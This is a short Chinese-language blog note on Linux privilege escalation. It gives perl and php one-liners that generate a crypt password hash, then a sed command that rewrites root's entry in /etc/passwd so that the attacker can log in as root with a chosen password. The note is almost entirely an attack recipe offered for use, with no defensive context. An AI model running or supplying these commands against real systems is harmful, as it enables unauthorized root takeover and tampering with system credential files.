一些提权小记-Linux

本文最后更新于：1 个月前

一些可能方便的文章

1	`perl -le 'print crypt("passwd", "root")'`

或

1	`php -r "print(crypt('passwd','root'));"`

生成的密码写入passwd

1 2	`sed -i 's\|root:$6$xAWflFdhEPkqhGZM$61bBGioVAE/tC6iqqv9a6kZl7IEeMzdrQPAdntgP2HkHve6VTSQUzAPpBB i.ksWHwakz7AKhLueVo3/nzHqCQ.\|root:roxCyAljK9MuM\|g' /etc/passwd`

若待替换的字符串中包含/等敏感字符，可以在s后面更换指定分隔符

此时passwd已经被更改

随后就能使用passwd作为密码登录

提权

#WEB #提权